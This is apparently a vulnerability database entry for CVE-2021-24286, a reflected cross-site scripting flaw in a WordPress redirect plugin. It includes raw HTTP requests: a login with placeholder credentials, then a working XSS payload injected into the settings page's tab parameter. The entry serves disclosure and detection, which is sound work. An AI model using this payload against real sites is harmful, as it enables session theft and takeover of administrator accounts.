| Title | WordPress Plugin Redirect 404 to Parent 1.3.0 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the settings page, potentially stealing administrator session cookies or performing administrative actions. |
| Remediation | Fixed in version 1.3.1 |
| CVSS Score | 6.1 |
| EPSS Score | 0.52303 |
| CVE ID | CVE-2021-24286 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wordpress wpscan authenticated exploitdb wp-plugin mooveagency vuln |
The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Bbhoyx&pwd=C4JsDI&wp-submit=Log+In
GET /wp-admin/options-general.php?page=moove-redirect-settings&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3D%22alert%28document.domain%29%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24286.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24286.pcap
N/AN/A